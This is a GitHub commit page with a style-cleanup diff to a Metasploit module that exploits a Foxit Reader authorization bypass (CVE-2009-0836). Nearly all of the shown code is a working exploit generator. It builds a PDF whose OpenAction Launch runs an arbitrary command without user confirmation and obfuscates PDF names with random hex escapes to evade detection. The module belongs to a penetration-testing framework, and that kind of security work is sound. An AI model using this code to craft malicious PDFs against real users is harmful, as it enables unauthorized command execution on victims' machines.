Skip to content

Commit 9c53b32

Browse files
authored
Merge pull request #20191 from bcoles/rubocop-modules-auxiliary-pdf
modules/auxiliary/pdf: Resolve RuboCop violations
2 parents ee5f13a + ce0c621 commit 9c53b32

File tree

1 file changed

+49
-43
lines changed

1 file changed

+49
-43
lines changed

modules/auxiliary/pdf/foxit/authbypass.rb

Lines changed: 49 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -9,30 +9,38 @@ class MetasploitModule < Msf::Auxiliary
99
include Msf::Exploit::FILEFORMAT
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'Foxit Reader Authorization Bypass',
14-
'Description' => %q{
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Foxit Reader Authorization Bypass',
16+
'Description' => %q{
1517
This module exploits an authorization bypass vulnerability in Foxit Reader
16-
build 1120. When an attacker creates a specially crafted pdf file containing
17-
an Open/Execute action, arbitrary commands can be executed without confirmation
18-
from the victim.
19-
},
20-
'License' => MSF_LICENSE,
21-
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
22-
'References' =>
23-
[
18+
build 1120. When an attacker creates a specially crafted pdf file containing
19+
an Open/Execute action, arbitrary commands can be executed without confirmation
20+
from the victim.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
24+
'References' => [
2425
[ 'CVE', '2009-0836' ],
2526
[ 'OSVDB', '55615'],
2627
[ 'BID', '34035' ],
2728
],
28-
'DisclosureDate' => '2009-03-09'))
29+
'DisclosureDate' => '2009-03-09',
30+
'Notes' => {
31+
'Stability' => [CRASH_SAFE],
32+
'SideEffects' => [],
33+
'Reliability' => []
34+
}
35+
)
36+
)
2937

3038
register_options(
3139
[
32-
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
33-
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
34-
])
35-
40+
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
41+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
42+
]
43+
)
3644
end
3745

3846
def run
@@ -46,12 +54,12 @@ def run
4654
file_create(pdf)
4755
end
4856

49-
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
57+
# https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
5058
def n_obfu(str)
51-
result = ""
59+
result = ''
5260
str.scan(/./u) do |c|
53-
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
54-
result << "#%x" % c.unpack('C*')[0]
61+
if (rand(2) == 0) && (c.upcase >= 'A') && (c.upcase <= 'Z')
62+
result << '#%x' % c.unpack('C*')[0]
5563
else
5664
result << c
5765
end
@@ -60,53 +68,51 @@ def n_obfu(str)
6068
end
6169

6270
def random_non_ascii_string(count)
63-
result = ""
71+
result = ''
6472
count.times do
65-
result << (rand(128) + 128).chr
73+
result << rand(128..255).chr
6674
end
6775
result
6876
end
6977

7078
def io_def(id)
71-
"%d 0 obj" % id
79+
'%d 0 obj' % id
7280
end
7381

7482
def io_ref(id)
75-
"%d 0 R" % id
83+
'%d 0 R' % id
7684
end
7785

7886
def make_pdf(exec)
79-
8087
xref = []
8188
eol = "\x0d\x0a"
82-
endobj = "endobj" << eol
89+
endobj = 'endobj' << eol
8390

8491
# Randomize PDF version?
85-
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
86-
pdf << "%" << random_non_ascii_string(4) << eol
92+
pdf = "%%PDF-#{rand(1..2)}.#{rand(1..2)}" << eol
93+
pdf << '%' << random_non_ascii_string(4) << eol
8794
xref << pdf.length
88-
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
95+
pdf << io_def(1) << n_obfu('<</Type/Catalog/Outlines ') << io_ref(2) << n_obfu('/Pages ') << io_ref(3) << n_obfu('/OpenAction ') << io_ref(5) << '>>' << endobj
8996
xref << pdf.length
90-
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
97+
pdf << io_def(2) << n_obfu('<</Type/Outlines/Count 0>>') << endobj
9198
xref << pdf.length
92-
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
99+
pdf << io_def(3) << n_obfu('<</Type/Pages/Kids[') << io_ref(4) << n_obfu(']/Count 1>>') << endobj
93100
xref << pdf.length
94-
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
101+
pdf << io_def(4) << n_obfu('<</Type/Page/Parent ') << io_ref(3) << n_obfu('/MediaBox[0 0 612 792]>>') << endobj
95102
xref << pdf.length
96-
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
103+
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + '>>' << endobj
97104
xref << pdf.length
98105
pdf << endobj
99-
xrefPosition = pdf.length
100-
pdf << "xref" << eol
101-
pdf << "0 %d" % (xref.length + 1) << eol
102-
pdf << "0000000000 65535 f" << eol
106+
xref_position = pdf.length
107+
pdf << 'xref' << eol
108+
pdf << '0 %d' % (xref.length + 1) << eol
109+
pdf << '0000000000 65535 f' << eol
103110
xref.each do |index|
104-
pdf << "%010d 00000 n" % index << eol
111+
pdf << '%010d 00000 n' % index << eol
105112
end
106-
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
107-
pdf << "startxref" << eol
108-
pdf << xrefPosition.to_s() << eol
109-
pdf << "%%EOF" << eol
110-
113+
pdf << 'trailer' << n_obfu('<</Size %d/Root ' % (xref.length + 1)) << io_ref(1) << '>>' << eol
114+
pdf << 'startxref' << eol
115+
pdf << xref_position.to_s << eol
116+
pdf << '%%EOF' << eol
111117
end
112118
end

0 commit comments

Comments
 (0)